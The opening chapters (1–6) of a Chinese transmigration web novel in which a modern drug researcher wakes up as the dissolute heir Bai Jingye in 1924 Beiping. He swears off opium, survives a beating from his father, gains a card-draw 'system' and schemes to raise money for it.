《重生大宅门白敬业,玩转在民国》
第1章 打折亲儿子一条腿的狠人
民国十三年深秋,北平市
百草厅白家
“这特么给**哪来了”
“这他妈还是国内么”
白敬业从架子床上坐起,一边嘀咕着一边懵逼的看着四周。
他不明白,明明自己在实验室加班,怎么跑这个鬼地方来了。
房间的布置显然与现代不同
古香古色的家具、插着鸡毛掸子的瓷瓶,墙上还挂着几幅古画。
旁边的桌子上还放置着一台不多见的留声机。
他正迷茫自己身处何地时,脑袋仿佛被一柄巨锤击中。
“啊……”
海量的记忆钻入他的脑中
过了七八分钟,他揉了揉太阳穴。
眼神宛如一只睿智的二哈。
显然,他穿越了,只不过穿越的对象有些奇葩。
白家大宅门里著名败家子。
完美的继承了姥爷贝勒爷贵武的血统。
白七爷的长子——白敬业!
**抽,五毒俱全。
安国贩药,在赌场输了十万两银子,被自己亲爹白七爷干折一条腿。
抗日战争中,和鬼子田木青一沆瀣一气,差点弄丢了白家的祖传秘方。
解放后,偷家里的财产,被亲爹吓得心脏病发作倒头横死。
他的一生总结起来只有八个字。
除了败家,一无是处。
想了想自己这具身体的生平。
白敬业略显忧伤的眨了眨眼,心中感叹。
“这哥们哪都好,就是不该活着。”
紧接着他突然想到了什么,在身上左摸摸、右摸摸。
又跳下床活动了几下,这才长出了一口气。
“呼,还好自己这条腿没断,要不然刚穿过来就变瘸子,那可遭老罪了。”
白敬业蹦跶几下,做了几个深蹲,额头蒙上一层细汗。
他擦擦额头上的汗,对着房间里的镜子照了照。
白敬业的长相还是挺不错的,继承了白景琦和黄春的优点。
但眼窝深陷双眼无神,眼眶周围发青,一看就是被酒色掏空了身体。
整个人的气质虽有贵气,但透着那么一丝猥琐。
白敬业看着镜中的自己,有些嫌弃的撇撇嘴自嘲道,“妈的,才二十四岁虚的一批,就这身体还特么逛窑子呢,你也不怕死床上,看你猥琐那样,活该被你爹打折一条腿。”
正当他嘟嘟囔囔时,外间的大门被人推开。
挑帘栊走进一个面容清秀的女子,手中还端着一个托盘。
女子正是白敬业的原配唐幼琼。
此时的唐幼琼没有后期那么不堪,还保留着大家闺秀的温婉
她脸上带着愁容,将托盘放在架子床的茶几上。
小心翼翼的开口说道:“敬业,你刚从安国回来,惹那么大的祸,你还是先去跟爸承认个错…”
白敬业此刻完全没听见唐幼琼在说什么。
皱着眉头看向她手中的托盘。
托盘里有三样物件,烟枪、灯泡、黑疙瘩!
这三样东西组合到一起的效果,白敬业太了解了。
他前世是个药物研究人员。
可以说这个时空里没有人比他更了解这个东西的危害。
打断华夏脊梁的邪物——**。
他的牙齿咬的咯咯作响,抄起桌上的烟枪紧紧攥住。
毕竟他是个二十一世纪的有为青年。
从小经历的是什么教育?
是皿煮、文明、爱国、和谐、守正、敬业、诚信...等等一切正能量的教育。
他是个为人民服务的人!
是个脱离了低级趣味的人!
可如今自己竟然穿越成了瘾君子,这让他实在难以接受。
因为他莫名产生了一种想要吸食的欲望,心里像猫爪挠似的。
他明白这是身体产生的成瘾性。
“啪!”
白敬业将烟枪扔在地上,又将桌上的托盘扫落。
“家里这些害人的玩意儿还有多少?”
她结结巴巴的说道:“还…还有几包,大概…一…一两斤。”
“全都给我毁了!记住是毁了,不是转给别人卖了。”
白家是药商巨头,生的还能交柜上入药。
熟烟膏除了害人一点用没有,只能毁了。
“知…知道了。”
白敬业坐在床边平复了下心情,语气和缓的问道,“对
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了,这些东西都是哪来的?”
他的记忆里除了前段时间安国赌钱那次碰过,自己几乎没买过这些东西。
而且刚穿越来一时间有些想不起来。
唐幼琼抬起头好奇的看着他:“这事他可不赖我,你忘了?这些都是舅舅送给你的?”
“舅舅?谁啊?”白敬业听完更是满头的雾水。
“杨亦增啊,姨太太的哥哥,你第一次抽这个东西,就是他送给你的。”
“呵呵”
听到这个名字,白敬业嗤笑道。
“他算哪门子的舅舅?一个给自己亲妹妹卖到窑子的畜生!什么东西!”
同时在心里发狠,“**,这个畜生别落在我手里,早晚我非得扒了他的皮。让他尝尝SH主义的铁拳!”
唐幼琼听到白敬业的话,没敢往下接茬。
自己丈夫敢这么说,她可不敢瞎搭言,毕竟新宅谁都知道公公七老爷宠爱杨九红。
白敬业的话音刚落没两分钟,外间突然一声巨响。
“嘭!”
房门被人一脚踢开,走进来一个面色阴沉得像阎王爷似的帅大叔。
进来的帅大叔,正是白家的传奇人物,打断自己亲儿子一条腿的狠人——七老爷白景琦。
看见白景琦,白敬业‘腾’地站了起来。
常年处于亲爹阴影的白敬业,竟然身体不由自主的起了生理反应,被吓得颤抖起来。
他在心里暗骂,“你特么抖什么呢!他是你亲爹还能杀了你?**没出息!”
白景琦扫了一眼唐幼琼:“你出去。”
唐幼琼有些担忧的看了一眼白敬业,低头出了门后,连忙跑向黄春的正房。
白景琦眯着眼将房门插上,眼神阴鸷地盯着白敬业。
白敬业此刻大脑疯狂的运转,回忆起这段剧情。
安国赌钱—抽**—打断腿
白敬业嘛时候断腿啊,就在今天。
就在今天!
“艹!自己的命真不好,刚来就特么要断腿,别的穿越者都是大杀四方,自己的命咋就这么苦。”
“看来,这顿打是躲不了了,得想个办法如何保住这条狗腿。”
第2章 民国传说大玩家系统
白敬业正疯狂思考对策时,白景琦已然走到他的面前。
他恨铁不成钢的瞪着白敬业,
心头一动想起白敬业安国那十二万银子,暗道,“败家的东西,今天我非得打死你!”
白敬业此时只有一个想法,“跑!尼玛,不管什么得先跑!”
可他刚准备往门边蹿。
忽然耳边有劲风响起。
“啪!”
白景琦结结实实给了他一个大鼻斗。
白敬业被打的好悬没在原地转起圈,这一巴掌扇的他眼冒金星。
还没等他缓过来。
“啪!”又是一个反抽扇在他另一边脸上。
“啪!败家的东西,我让你赌!”
“啪!白家这点德行都让你给散尽了!”
“……”
白景琦一连抽了能有十多个嘴巴。
白敬业是晕头转向,连房门朝哪边开都找不到了。
白景琦还是觉得不够解气,一把薅住他的脖领子,对着小腹就是一脚。
白敬业感觉整个人都飞了起来,重重的砸在墙边的架子上。
“哗啦”一声,架子上的物件碎了一地。
他嘴角冒出血迹,感觉五脏六腑都在翻腾。
不是他不想躲,实在是白景琦出手太快。
白景琦是被神机营的季宗布调教出来的。
武林高手不见得,但三五个人肯定近不了身!
以白敬业目前的身体素质,怎么能和从小练武的白景琦比。
他爹学的这点能耐都用在他身上了,打起来都尼玛带招的。
“砰砰砰…”
“啊!敬业…”
“景琦你快开门别打了!”
“爸,你饶了哥这回吧。”
“七老爷您开门吧,别把少爷打坏了”
黄春还有白敬业的弟弟白敬功,一大堆仆人都跟着求情。
白景琦听见门外的喊声。
双眼猩红顺着声音看了过去。
自己的妻子黄春满脸泪水苦苦哀求,不停的拍打着房门。
他的心也稍稍软了下来。
“妈!你别求他!让他打,有能耐让他打死我!”
白敬业的这一声喊让空气都安静了下来。
屋里屋外的人都惊讶的看着他。
“ε=(??ο`*)))哎~真有用啊!果然停手了。”白敬业心里偷笑。
原来他在挨嘴巴子的时候,回忆起了这段剧情。
白景琦说他哭的像杀猪似的不停求饶才往死揍他。
所以白敬业挨揍的时候一声没吭。
他知道你越求饶打的越狠,想试试反其道行之。
“呜呜…敬业!你别乱说话,快跟你爸认个错!景琦…景琦…”
“是啊少爷,您赶紧服软吧”
“**的还敢顶嘴!”
还没等黄春说完。
白景琦就用出了他成名绝技,脚丫子扇嘴巴子。
“嘭!”
刚刚从地上爬起来还没站稳的白敬业。
就被这一脚从墙边踢到了门边。
他被这一脚彻底踢懵了,心里大喊:“不对啊,剧情不是尼玛这么演的啊!”
这和剧情不一样啊,怎么这一脚还是落了下来。
白景琦被他这一句话顶的比刚才火更大了。
低着头四处环顾了一圈,余光瞥见了门边的顶门杠子。
他走过去将杠子抄在手中,恶狠狠的盯着白敬业。
白敬业从懵逼中清醒过来,刚睁开眼,就见他爹的杠子已经举过头顶。
“**!”
白敬业此刻脑中只有一个想法,保住这条狗腿。
以后的人生不能拄拐,从此告别自行车啊!
他用劲吃奶的力气,将腿往后收身体前仰。
“咔嚓!”
好消息:他这条腿算是保住了。
坏消息:杠子太长,这一杠子没砸到腿,劈在了他的脑袋上。
不得不说,白景琦是真有功夫,力劈华山练的特别到位,四棱见方的杠子整个给砸折了。
“呃……”
白敬业被砸的一抽抽,白眼往上翻,仰面晕倒昏死过去。
临昏厥前,他的耳边响起来了一道机械声音。
“检测到宿主濒临死亡,民国传说万物抽卡系统正式启动。”
“已开启自愈……”
……
夜晚,昏迷了小半天的白敬业终于苏醒过来。
“嘶~”
头顶的剧痛让他忍不住吸着凉气。
“少爷少爷,您醒啦。”
白敬业顺着声音扭头看过去。
说话的人他认了出来,是**管的儿子小胡,也是未来白家新宅的大总管。
“少爷,您千万别动,等我去叫大夫。”
白敬业闻言点了点头。
不多时,一个男大夫领着两个女护士走了进来。
大夫靠近病床轻声问道:“能听见我说话么?”
“能”白敬业点点头。
“感觉哪不舒服,看东西模糊么?”
“都还好,就是头有些疼。”
大夫听完在本子上记了几笔抬头说道:“你的颅骨骨裂,尽量保持平躺。”
说完后又对白敬业做了简单的听力和视力的测试。
最让白敬业不理解的是,他在纸上画了一只猪放到自己眼前。
“看看这张画,你觉得这和正常的猪有什么不同?”
白
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敬业一脸无语的表情看着画上的猪。
旁边的护士和小胡也都凑近看着这张画,表情都十分不解。
过了七八分钟,白敬业才试探性问道:“这猪没**?”
旁边的小胡和两个女护士听完也恍然大悟似的都跟着点着头。
其中一个护士还跟同伴小声说道:“我刚才就看出来了,这猪没有**。”
大夫像看傻子一样看看白敬业,又环视了其他三人一眼。
他无奈的说道:“你们看清楚了!这猪没有尾巴!!”
“行了,他的病情暂时稳定,给他挂一瓶点滴,明早再做一遍详细的检查。”
大夫说完无奈的走出病房,留下四人一阵风中凌乱。
等两个护士给白敬业挂上点滴出去后,小胡才凑近说道。
“少爷,您在这好好休息,我回家里给老爷太太报个信,外边我留了人,有什么事您喊一声就行,一会儿我回来再给您带些吃的。”
“嗯,麻烦你了小胡”
听见白敬业的话,小胡倒是有些腼腆的笑了笑。
他感觉自家的大少爷跟以前有些不一样。
“少爷,那我就先去了。”
“好”
等小胡出去后,白敬业这才长叹了一声,小声嘟囔着。
“唉,这特么是真倒霉,别的穿越者都是大杀四方,我穿越差点让亲爹**…”
说到穿越,忽然他想到了昏迷前的那道机械声音。
于是尝试性的呼唤了一声:“系统?”
他的话音刚落,眼前出现了两个屏幕,最上方写着民国传说万物抽卡系统。
白敬业捅咕半天终于搞明白系统的使用方法。
左边的是他个人的属性资料。
宿主:白敬业(学徒)
力量:32
灵活:40
耐力:25
身体素质评级:D+
状态:重伤垂危
技能:英语lv1化学lv2
右边的屏幕是卡包购买界面,每一包需要500大洋购买。
开出来的卡牌可以转换成物品和技能属性点。
所抽取的物品限定为民国时期,分为四个等级。
白色普通、蓝色稀有、紫色史诗、金色传说。
白敬业翻了翻卡牌的介绍,嘴角咧的像一只睿智的二哈。
可以说上到飞机坦克大炮,下到飞机杯避孕套,应有尽有。
但物品的种类有限制,只涵盖整个民国期间。
到49年之后的,一样都没有。
例如传说级:谢尔曼m4完整设计图、鬼子的大和号战列舰完整设计图,甚至还有蘑菇蛋的生产工艺……
第3章 一个大子也不给他!
一张张金色传说卡牌看得白敬业直流口水。
颇有一种身怀利器、杀心四起的感觉。
恨不得马上抽到蘑菇蛋,提前给鬼子来上那么一场李梅烧烤。
至于卡包所需要的花费,他根本没当回事。
他是谁啊!白敬业啊,白家最大的败家子还能缺钱?
可他唯一没搞明白的是,面板后边的学徒是什么意思?
于是他问向了系统,“这学徒是嘛意思。”
系统的机械声音回响,“学徒是按照宿主的身体素质划分,民国时国术高手众多。”
“宿主三维都达到100点,即可进入下一等级,另外,宿主主动锻炼也会提高三维。”
白敬业明白了,这就相当于没有瓶颈期,哥们任督二脉是通的!
想到这心里已经开始有了规划。
等出了院,先要个两三千大洋试试手气。
随随便便抽上那么一抽,先给自己身体养好,再抽上那么十几张传说卡。
我来这一回只做三件事。
杀鬼子、杀鬼子还是**杀鬼子!
想到这他宛如魔怔般笑了起来。
夜晚,白家新宅正房
白景琦坐在太师椅上紧皱着眉头,手上拿着一米来长的**袋。
“吧嗒,吧嗒”一口接一口的抽着。
他的心里说不出来的烦闷,既担心儿子的伤势,又埋怨他不学好。
坐在旁边的黄春还不停的抽泣,哭的白景琦是心烦意乱。
“别哭了!”白景琦烦躁的喊了一声。
好半天黄春才止住悲声,怒视白景琦委屈道:“他可是你亲儿子!有你那么**的么,拿门闩朝着他脑袋打,你是想杀了他!”
“他活该!”白景琦眼睛立起来,恶狠狠的说道,“犯了这么大的错还敢顶嘴,本来打他一顿,他服个软也就完了,他还敢顶他老子!”
白景琦的这段话充分证明了,一个人看另一个人不顺眼,连呼吸都是错的。
其实并不是白敬业做法有问题。
如果放在平时挨顿打,他硬气一点,白景琦是会留情的。
可谁让他倒霉呢,正好赶上白家陷入困境。
如今正是奉直二次大战。
年初和年中,直系掌权政府派了两笔军饷给北平药行,白景琦是药行会长自然要担大头。
民国这个混乱的时代,只有两个行业最赚钱。
一是扛枪的、二是卖药的。
可卖药的遇见扛枪的,他也一点辙没有。
再加上南边运的两船药材都打了水漂。
前前后后六七十万两银子都没了,几乎掏空了白家流动资金。
这节骨眼白敬业给他老爹上了这么大的眼药,他怎么可能不生气。
而且赎他回来的钱,还是从杨九红手中拿的印子钱。
这让骄傲了一辈子的白景琦深感丢人。
所以白景琦把在外边和家里这点邪火,一股脑的都撒在了白敬业身上,不管他求不求饶这顿毒打都躲不了。
黄春擦了擦眼泪:“那还不是跟你学的,谁让你从小挨打就不服软。”
白景琦闻言想想儿子挨打时的样子,倒是和自己有那么几分相似,噗嗤一声笑了出来。
但随即脸又拉了下来:“学我?好的他怎么不学!家里现在什么样,你不是不知道,一赌赌输了十二万!他还学会抽…”
白景琦说到这,想起地上被踩的稀碎的**。
白敬业在发火砸东西时,白景琦已经在外边听到了他说的那些话。
想到这他心里恨道:“杨亦增?**!打着白家名号在外边放印子钱,还他妈鼓捣我儿子抽**,早晚我得收拾了他!”
自己儿子再不好,那也是发妻长子,学坏那肯定是有人教的。
黄春想着儿子的不着调,语气也弱了下来:“我没说他不该打,可你也不能朝他脑袋下死手。”
“我…”
白景琦百口莫辩,他想说自己是奔着腿去的,没想到砸到头上,可也不愿意与妻子犟。
“砰砰砰”
他拿着烟袋在痰盂上敲了几下:“送哪个医院了?”
“协和医院,大夫说看今晚能不能醒过来,就算醒了也可能要留后遗症,还有几个月就过年了,到时候怎么跟妈说呀。”
黄春一提起二老太太,白景琦的心凉了半截。
这要是让自己妈知道,不得气出个好歹来。
家里上上下下都知道,白敬业就是老太太的命根子。
白景琦无奈的叹了口气,也后悔自己下手太重了。
心里多少有点责怪自己,在小时候对白敬业的教育太少,才导致他走上歪路。
正在这时,丫鬟莲心风风火火的闯了进来。
“七老爷,小胡从医院回来了。”
白景琦腾地站了起来:“快,快让他进来。”
等小胡进来还没开口,黄春就焦急的问道:“敬业怎么样了,醒了没有,大夫怎么说的。”
“醒了!七老爷、太太
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,大少爷醒了一切都好,我私下里问了大夫,大夫说少爷头骨很硬,没什么大碍。”
“对了,大夫还说明早需要做一遍检查,还要做什么艾克斯光,要是没后遗症,养一段就可以出院了。”
白景琦听完一愣:“什…什么玩意?艾…克斯光?”
“听说是西医做检查的仪器,能把人的骨头拍出来。”
“哦~,这玩意挺稀奇,还能把人骨头拍出来,嘿嘿,咳咳。”
白景琦听见稀奇玩意不自觉的笑了出来,但一看妻子那阴沉的脸,尴尬的轻咳一声。
“儿子伤成这样,你还能笑得出来。”
“行啦行啦,这不没什么事么,我跟你说,敬业有今天都是你这当妈的惯的,慈母多败儿!”
“什么叫我给惯的!”黄春更觉得委屈:“他小的时候,你三天两头的往济南跑!如今还怪上我了,呜呜呜”
“你看你…”白景琦无言以对。
“七老爷,该拉闸了!”
“知道了!”
窗外仆人一喊,白景琦赶紧就坡下驴,再掰扯这点陈芝麻烂谷子都得扯出来。
他冲着小胡招呼道:“你跟我来,有事要交代你。”
“是,七老爷。”
“拉闸喽!各屋点灯!”
“拉闸喽!小心火烛!”
等走到僻静之处,白景琦拉过小胡小声问道,“你跟我说实话,敬业抽**的事是不是杨亦增教唆的!”
小胡咽了口唾沫有些紧张:“七…七老爷,我我我不清楚。”
“嗯?!”
小胡看着白景琦那凌厉的眼神,头上冒起了汗:“七老爷,我真不清楚,不过我听说大少爷有好些不着调的事,都是杨亦增蛊惑的。”
“哼!这个王八蛋!”白景琦咬着牙怒喝一声。
随后安排道:“等敬业出院后,你就跟在他身边,他的一举一动你都要跟我汇报,什么八大胡同、赌场唔的,一律不准他去!”
“啊?可…七老爷,我哪能拦得住大少爷。”
“他要非去,你就带人把他给我绑回来!”
白景琦觉得自己这儿子还有那么一点救,决定等他出院后,亲自教导他一番。
“还有,你告诉账房,从今天开始,一个大子儿也不许给他!”
————
关于白敬业送医院这段,我也觉得不合理,但是原著就是这么给的啊,原著是送到了万字医院。北平那时候的万字医院还全是洋人的西医。
第4章 舒服是无罪的!
一周后,白敬业终于走出了协和医院。
有系统自愈功能加持的原因,他的伤恢复得特别快,早就好的七七八八。
连自身的烟瘾都被系统清除掉。
这个时代别说手机,连个黑白电视都没有。
所以他早就在医院待的不耐烦,嚷嚷着要出院。
无奈在黄春的要求下,在医院躺了一周。
“哎~舒坦”
白敬业懒散的抻了个懒腰,迈步走出大门,门口小胡早已经备好黄包车等待。
“少爷,上车”
白敬业一只脚刚迈上车,就听见街头传来呼声。
“闪开!全都闪开!”两名穿着蓝色军装的骑兵呼啸而过。
紧接着大队的步兵跑步前进占满街道,队伍中间还有几辆黑色轿车。
小胡连忙护住白敬业往街边躲闪。
白敬业心里纳闷,哪来这么大的阵仗,于是问向小胡,“这是什么情况?怎么这么多兵。”
“嗨~少爷。这两天听街面上说,好像是关外张大帅的兵打到山海关了,吴大帅要亲自前往前线抵抗张大帅。”
白敬业听完了然的点点头,在心里盘算下时间。
现在是10月初,按照历史的走向,还有半个月左右,倒戈将军就该背后捅刀。
从热河挥师直插北平。
给宫里的那位鬼子**的干儿子一脚踢出北平。
此战过后直系势微,也逐渐走出历史舞台。
城头变幻大王旗,你方唱罢我登场!
想到这白敬业无奈的摇了摇头,等军队过去,跟着小胡返回白家。
等回到白家新宅,走进属于白敬业的三厅院。
他犹豫了一下,迈步走进南边的书房。
**该怎么和原身的妻子唐幼琼相处。
两人本身就没什么感情,而且住院这七天,唐幼琼也一次没来看过他。
反而他的便宜儿子白占元倒是和他很是亲近,每天都跟着黄春来到医院。
索性白敬业也想明白了,距离产生美,你好我好大家好。
坐在书房的椅子上,白敬业连忙准备开始自己的抽奖大计!
“小胡,来,你呀先去账房给我支五千块大洋。”
小胡表情尴尬没言语。
白敬业本想先来了十连包,但是一看小胡这表情,就知道自己可能要的有点多。
心想,“算了,还是先开几包试试手气。”,他改口道:“五千有点多,那就先支两千,实在不行一千可以。”
小胡苦着脸说道:“少爷您别为难我,七老爷一周前吩咐了,等你出院后一分钱都不许给你。别说一千大洋了,一个大子儿都没有。”
“什么!”白敬业一嗓子吼出了狼叫。
“真的,不信您亲自去问七老爷,而且从今天开始青楼、赌场都不许您进,但凡您迈进一步就让我带人给你绑回来。”
白敬业瞪大双眼如遭雷击,这不完犊子了么。
这不纯纯先帝创业未半,哦不,是未开而中道崩殂么。
还征服中国?征服世界?
没钱连特么门口早点摊也征服不了啊。
白敬业好半天才接受现实,有气无力的挥了挥手:“你先出去吧。”
“少爷,七老爷还说让我跟着您,要是出门的话寸步不离。”
白敬业翻了个白眼:“行,等我要出去的时候一定叫着你。”
“好的少爷,那您休息吧。”小胡转身出门,轻轻的把门带好。
白敬业面如死灰,止不住的长吁短叹。
他实在是想不出有什么好办法能搞到钱。
500块大洋一个卡包,听起来数目不大。
要知道这个时候的物价,一块大洋可以买40斤左右的大米。
一个拉洋车的车夫一个月撑死能赚十块,好一点的政府官员也才二三十块。
这可是真实的民国,不是抖音里那个歌舞升平、浪漫无比的民国。
这里军阀混战、白骨满地,只有**的人才能活的下去。
**!
白敬业微眯着双眼:“想暴富就得**!我怎么把这两个狗东西给忘了。”
他抽出书桌上的笔和本子,在上边写下了两个名字。
【杨亦增、王喜光】
白家最大的两条蛀虫!
白敬业想了想,又把王喜光的名字勾掉,没别的,现在动他的
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难度太大。
人家的舌头都带拐弯的,给白景琦和二老太太舔的贼舒服。
凭现在白敬业在白家的话语权,动一个如日中天的大总管,基本不可能。
白敬业在杨亦增的名字上画了个圈轻声道:“就剩你喽杨亦增,先拿你开开刀,都说贼吃贼、越吃越肥,我倒要看看你究竟能给我带来多大的惊喜。”
可是动杨亦增也需要时间,白敬业现在急切想开出一包尝尝咸淡。
“啧,到哪去整这500大洋呢”白敬业愁的直嘬牙花子。
突然,他想到什么,在书桌里一顿翻腾,找出了一个小盒。
又从衣架上的衣服口袋里掏出了七块大洋。
小盒里是白敬业的小金库,里面有四十块大洋和一张‘大昌银号’一百大洋的银票。
这些钱是目前白敬业的所有家底,盒子里的是每个月家里给的股息分红。
从他大学毕业开始每个月就享受高达四位数的分红。
这个数目着实不低,可架不住他能败家啊。
用一句话来形容,舒服是无罪的!
一个月三十天,他能在百花楼住上二十九天,剩下一天回家取钱。
北平大大小小的饭庄,没有不认识这位白家大少爷的。
多少钱也不够这么花的,所以几年下来也就剩下这么一点,兜里的七块,还是他在安国赌钱剩下那么点散碎银两。
“唉,147块,还差353块上哪去弄呢。”
他左思右想,最后甩了甩头:“算了,不想了,活人还能让尿憋死么。”
白敬业将本子翻开新的一面,提笔写下民国十三年……
他准备将自己记忆中有关民国时期发生的大事梳理一遍。
另外再写一些好东西。
他本人喜欢这段历史,所以对于哪年哪月发生了什么记得很清楚。
住院的期间,白敬业已经将记忆梳理清楚。
他发现原主人不咋地,人脉倒是挺广的,北京大学毕业,几乎北大的名人他都见过。
例如,听过辜鸿铭的讲座,上过豫才先生的课。
大学时期还有过想当文学家的梦想。
第5章 逛天桥!
“少爷,该起床了~”
清晨,白敬业还没起床,就听见一个甜糯糯的声音传入房中。
他歪着头一看,是专门伺候他和唐幼琼的小丫鬟木棉。
白敬业在床上缓了缓,翻身坐了起来。
木棉连忙端起一杯温度正合适的花茶递到他的手边。
像白家这种大户人家讲究清晨拿一碗上好的花茶漱口。
泡茶的水都得是玉泉山的水,那叫一个地道!
白敬业用茶水在嘴里漱了几遍,刚准备找地方吐出去。
木棉已经将一个小痰盂放到他的面前。
白敬业抬头看了她一眼,然后吐在痰盂里。
这一系列操作,白敬业没有丝毫不适应。
他可太适应了!
白敬业穿越前也喜欢看穿越小说,他最讨厌的就是男主装大尾巴狼。
回到过去有人伺候你,你还硬装平等,装什么孙子呢。
享受、舒服是无罪的!
紧接着小木棉开始忙活起来,热手巾板、挤牙膏。
服侍白敬业洗脸、穿衣。
前前后后忙活十多分钟才结束。
再看白敬业这孙子,身上穿着派乐蒙的西装。
头上打着斯丹康的头油,活脱一个花花公子。
白敬业趁着小丫鬟木棉给他整理衣着时,手上微微用力抬起她的下巴。
“啊!大少爷…”
二八的芳龄正是女孩最嫩的年纪。
小丫头被白敬业轻浮的举动羞得低下了头,俏白的小脸儿染上一抹殷红。
“哈哈哈哈,大早上辛苦你了。”
白敬业倒也没那么流氓,只是单纯觉得好玩,往下并没有过分的举动。
“伺候大少爷还不是应当的么,您是在书房用餐么,我给您端过来。”
“你们少奶奶吃了么。”
“少奶奶和小少爷已经吃过了。”
白敬业点点头:“那就不用了,你找下小胡,让他备车在门口等我。”
“是,少爷。”
他从小钱盒里掏出五块大洋在手里掂了掂。
龇牙咧嘴的感觉有些肉疼,又塞回去三块。
随后把昨天写的东西分成了两部分,各月份发生的事一把火在火盆里化为灰。
剩下的一股脑塞进抽屉里。
院内,好大儿白占元正蹲在地上,拿着小木棍捅着蚂蚁。
听见房门响,他扭头一看咧嘴笑着喊了一声:“爸贝!”
然后两条小短腿紧倒腾,像个小肉球似的奔白敬业滚了过去。
白敬业一把给他抱了起来,捏捏他那粉雕玉砌的小脸。
“爸贝,你陪我玩,没人陪我玩。”
“大儿砸,爸贝带你逛天桥好不好。”
“好~”三四岁的孩子正是闲不住的时候,白占元兴奋的手舞足蹈。
白敬业抱着他走到门口,他看见门口的场面顿时一愣。
除了小胡叫的两辆黄包车以外,还站着四个精壮的汉子,身后备好一辆马车。
都是身高一米八左右,各顶个一身的肌肉块子。
“我说小胡,这…”
“少爷,七老爷让我看着您,万一您要是去那种地方…”
白敬业翻了个白眼:“你没看见我手里抱着孩子呢?我闲的往那地方去?”
“少爷,您还是让他们跟着吧,万一…”小胡话里话外的意思就是不相信白敬业。
白敬业无奈的挥挥手:“行吧,愿意跟着就跟着”
他倒不在意有这么些人跟着,反正目前没打算去那些场所。
而且有这些人跟着,这年月万一兵荒马乱遇见几个地痞无赖啥的,他这小胳膊小腿可扛不住。
于是他饶有兴致的问道:“都叫什么名啊?”
小胡捋头介绍:“**、王武、李贵、李福,都是家里老人的孩子,从小跟着胡子头练武。”
白敬业挨个打量着,还欠欠儿的上手摸摸几人的肌肉都挺实成。
满意的点点头,抱着白占元上了黄包车。
拉车的师傅从白家大院一路出了正阳门。
本来兴致勃勃的白敬业,此时脸上不见一丝笑意。
“小小的纸儿四四方方……”
“香菜~辣青椒哎…”
“卖药糖嘞~”
听着街边的叫卖声,他看到了一个和内城完全不同的景象。
割裂!
没错,就是割裂的景象。
如今的北平,内城居住的都是清末民初的达官显贵。
就算有一些人家道中落,靠着以前积累的财富也是倒驴不倒架。
而外城截然不同,生活的都是贫苦百姓。
再加上商业区、八大胡同、烟馆、赌坊等等都在外城,造成了这里鱼龙混杂。
有人住高楼、有人处深沟。
有人光万丈、有人为粮求。
有刚从大饭庄走出的文明人士。
有在百花楼夜宿正和风尘女告别的富家子弟。
在他们不远处,有为一日三餐奔波的苦力。
还有着插草卖儿卖女的穷苦人家。
割裂!穷与富仿佛在这一刻彻底两极分化。
白敬业的心里像压了一块大石头,堵的他喘不过气。
这种景象对他来说是后世从未见到的。
他真想让那些网上替民国招魂的键盘侠都回来看看。
这里没有十里洋场,没有浪漫风
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华。
有的只是麻木,每个人的脸上都是麻木。
不知为何而活的麻木!
“爸爸,我要吃糖葫芦~”
白占元奶声奶气的声音给白敬业拉回了现实。
他稳了稳心神深吸一口气,脸上露出笑容:“想吃?得,想吃咱就买。”
白敬业伸出脚在车踏板处踢了两下。
车夫收到信号在道边停了下来。
白敬业从兜里掏出一块大洋递给车夫,一指后边小胡坐的那辆,“你们俩人的一起算。”
车夫拿着大洋面露苦笑:“爷,您别难为我们,这是今天头一份活,实在是找不开。”
小胡见状连忙过来:“少爷,我来”,从兜里掏出零散铜元给两人结账。
白敬业一怔,随即反应过来。
自己什么身份?
爷啊!
爷出门哪有自己结账的?
跌份!
看来自己还得好好适应适应。
白敬业从卖糖葫芦的小摊拿了两串,递给好大儿一串。
头也不回的拉着好大儿逛起了天桥。
舒坦!
他们一行人来到天桥时已经上午十点多。
天桥的人慢慢汇聚起来。
耍猴的、唱小曲、说相声的,白敬业逛的是不亦乐乎。
按照记忆白敬业拉着儿子来到商业街的一处牌匾下。
上边写着桂香村三个大字,是专门做宫廷糕点的一家老字号。
“儿砸,想吃糕点么?”
“想”
“走着”
门前的伙计见白敬业往这边来,赶忙通知里边的掌柜。
掌柜急匆匆迎了出来:“白少爷,您今儿怎么有空光临小店。”
“怎么着李掌柜?不欢迎啊?”
“您这是怎么话说的,平时请您还请不来呢,快往里请,给白少爷沏茶。”
李掌柜迎着白敬业一行人进了里间。
白家可是桂香村的老客户。
从他太爷爷白萌堂时期逢年过节,包括给伙计发福利,每年都要订上千两银子的糕点。
所以掌柜的不敢怠慢。
等白敬业喝上一口茶后,李掌柜才笑着问道:“白少爷,您今儿来打算定点什么?是府里需要提前置办点冬至用的唔的?”
白敬业放下盖碗轻声道:“我呢刚从安国回来,我们家老太太身体不太好,我来给我们家老太太买点爱吃的。”
“哎呦,白少爷,您这份孝心可真是这个…”掌柜的说着伸出了大拇指。
白敬业听着掌柜的滔滔不绝的夸赞,心里不住的冷笑。
“孝心?是他妈够有孝心的,只不过是为了那五百大洋的孝心!”
第6章 偶遇杨亦增
来逛天桥并不是白敬业心血来潮,而是他有明确的目的。
那就是讨好白家的掌权人,自己最大的靠山老太太。
昨晚白敬业已经打好了算盘,要靠自己赚这三百来块大洋,那得到猴年马月。
不如到自己奶奶那撒个娇打个滚。
再从亲妈黄春那死皮赖脸的磨一点,一切困难迎刃而解。
因为在白敬业的记忆里,他这俩靠山没少偷摸给他钱花,数目还都不小。
不过要让现在的白敬业和以前一样空俩爪子硬要。
他多少还要点逼脸。
总得送点东西表表孝心。
白敬业一挥手:“掌柜的,你们家的单子拿来,我挑上几份,给我们家老太太和太太都选一些。”
“好的白少爷,您稍等。”
不多时,掌柜的拿着一份烫金的单子递到白敬业手中。
白敬业一看还真全乎,有不少点心别说吃了,他都没听过。
什么花盏龙眼、梅花水晶包、绒鸡待哺…
跟个土鳖似的看了半天。
他又一想,也别只给这俩人买。
像弟弟敬功和自己关系不错。
妹妹佳丽也勉强过得去。
姨太太杨九红那也得买一份,毕竟人家花了十二万大洋给自己赎出来。
何况自己还准备对人家亲哥哥下手,买上一份当做提前补偿。
可白敬业的记忆里只记得二老太太爱吃豌豆黄,母亲黄春爱吃豆沙卷。
也不能光买这两样。
主要之前的他眼里除了娘们和赌钱,其他的一概不关心。
白敬业轻咳一声看向小胡:“家里其他人都爱吃什么,你帮我看看。”
小胡也直嘬牙花子:“我只记得七老爷爱吃牛舌饼,其他的我还真不太清楚。”
小胡用现在的话说是刚刚上岗,而且是管理宅门前边的仆人,对于后宅的事不太清楚。
两人正为难的时候。
李掌柜递上另一份单子:“少爷,您是想给家里其他人也带一些?我这有单子您看看。”
